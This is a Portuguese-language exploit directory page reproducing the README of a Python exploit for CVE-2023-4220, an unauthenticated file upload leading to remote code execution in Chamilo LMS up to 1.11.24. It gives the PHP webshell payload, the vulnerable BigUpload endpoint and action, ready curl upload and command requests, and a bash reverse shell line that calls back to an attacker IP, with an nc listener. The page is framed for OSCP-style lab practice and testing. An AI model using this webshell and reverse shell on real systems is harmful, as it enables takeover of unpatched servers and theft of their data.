Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — RCE por upload de arquivo não autenticado no Chamilo LMS ≤ 1.11.24. Estilo OSCP e exploit automático. | Kitploit
Ferramentas/GitHubGitHub/speatx/chamilolms-cve-2023-4220
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHub
speatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — RCE por upload de arquivo não autenticado no Chamilo LMS ≤ 1.11.24. Estilo OSCP e exploit automático.

Ver Repositório
6há 4 mesesAinda não revisado
Compartilhar

Exploit ChamiloLMS CVE-2023-4220

Exploit em Python para CVE-2023-4220, uma vulnerabilidade de upload arbitrário de arquivos sem autenticação que afeta o Chamilo LMS <= 1.11.24.

A vulnerabilidade está localizada no componente BigUpload do Chamilo. Em instalações vulneráveis, o manipulador de upload permite que um arquivo PHP seja enviado sem validação adequada. Como os arquivos enviados são armazenados em um diretório acessível via web, o arquivo PHP enviado pode ser solicitado diretamente e usado como webshell se a execução de PHP estiver habilitada.

Este repositório inclui duas versões do exploit:

chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

Ambos os scripts enviam um webshell PHP, verificam a execução de comandos e permitem executar comandos por meio do parâmetro GET cmd. A única diferença prática é como --shell é tratado.

A versão auto inicia seu próprio listener, aciona o reverse shell e alterna para uma sessão interativa automaticamente.

A versão oscp aciona o payload do reverse shell, mas não inicia um listener. Você deve iniciar seu listener manualmente antes de executá-la.


Instalação

Clone o repositório:

git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

Instale os requisitos:

python3 -m pip install -r requirements.txt

A única dependência externa é requests, portanto também pode ser instalada manualmente:

python3 -m pip install requests

Uso

O alvo é informado com -u ou --url:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

As mesmas opções estão disponíveis em ambos os scripts:

-u, --url              Target base URL
--check               Check if the BigUpload files directory is reachable
--upload              Upload the webshell and verify command execution
--cmd CMD             Execute a single command through the uploaded webshell
--shell LHOST LPORT   Trigger a reverse shell
--filename NAME       Use a custom filename for the uploaded PHP file
--proxy PROXY         Send traffic through a proxy, for example Burp Suite
--timeout SECONDS     Set the HTTP timeout
--verify-tls          Enable TLS certificate verification
--cleanup             Try to remove the uploaded PHP file after execution

A versão automática também inclui:

--listen-timeout SEC  Time to wait for the reverse shell connection

Exemplos Básicos

Verifique se o caminho BigUpload esperado está acessível:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Envie o webshell PHP e verifique a execução de comandos:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

Execute um único comando:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

Use um nome de arquivo personalizado:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

Envie o tráfego por meio do Burp Suite:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

Os exemplos acima usam o script auto, mas a mesma sintaxe pode ser usada com chamilo_cve_2023_4220_oscp.py.


Reverse Shell

A opção --shell existe em ambos os scripts, mas se comporta de maneira diferente dependendo da versão utilizada.

Versão automática

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

Esta versão inicia um listener local em 10.10.14.3:4444, envia o webshell, aciona o reverse shell e abre a sessão interativa automaticamente.

Você não precisa executar nc manualmente ao usar esta versão.

Versão estilo OSCP

Inicie seu listener manualmente primeiro:

sudo nc -nlvp 4444

Em seguida, execute o exploit a partir de outro terminal:

python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

Esta versão apenas envia o payload do reverse shell por meio do webshell enviado. A conexão é recebida pelo listener que você iniciou manualmente.

O comando de reverse shell acionado por ambos os scripts é equivalente a:

bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

Certifique-se de que o valor de LHOST seja acessível a partir do alvo. Em ambientes VPN, geralmente é o endereço da sua interface de túnel:

ip -brief addr show tun0

Detalhes da Vulnerabilidade

CVE-2023-4220 afeta versões do Chamilo LMS até 1.11.24 inclusive.

O manipulador de upload vulnerável está localizado em:

/main/inc/lib/javascript/bigupload/inc/bigUpload.php

A ação explorada pelo exploit é:

?action=post-unsupported

Os arquivos enviados geralmente são acessíveis a partir de:

/main/inc/lib/javascript/bigupload/files/

O exploit envia uma solicitação POST multipart/form-data usando o campo de formulário esperado pelo BigUpload:

bigUploadFile

O payload PHP enviado é um pequeno wrapper de comandos:

<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

Comandos são passados por meio do parâmetro GET cmd:

http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

Os marcadores ao redor da saída do comando são usados para extrair a parte relevante da resposta HTTP.


Requisição Manual

O upload realizado pelos scripts é equivalente a:

curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

Após um upload bem-sucedido, a execução de comandos pode ser testada com:

curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

Notas

--check apenas verifica se o diretório de arquivos BigUpload esperado está acessível. Um resultado positivo não garante que o alvo seja explorável.

Uma validação completa exige o envio do payload PHP e a confirmação da execução de comandos com --upload ou --cmd.

Se o upload funcionar, mas a execução de comandos falhar, a execução de PHP pode estar desabilitada no diretório de upload, o alvo pode estar corrigido (patch aplicado) ou uma regra no lado do servidor pode estar bloqueando a solicitação.

Use --cleanup se quiser que o script tente remover o arquivo PHP enviado após a execução.

Baixar ferramenta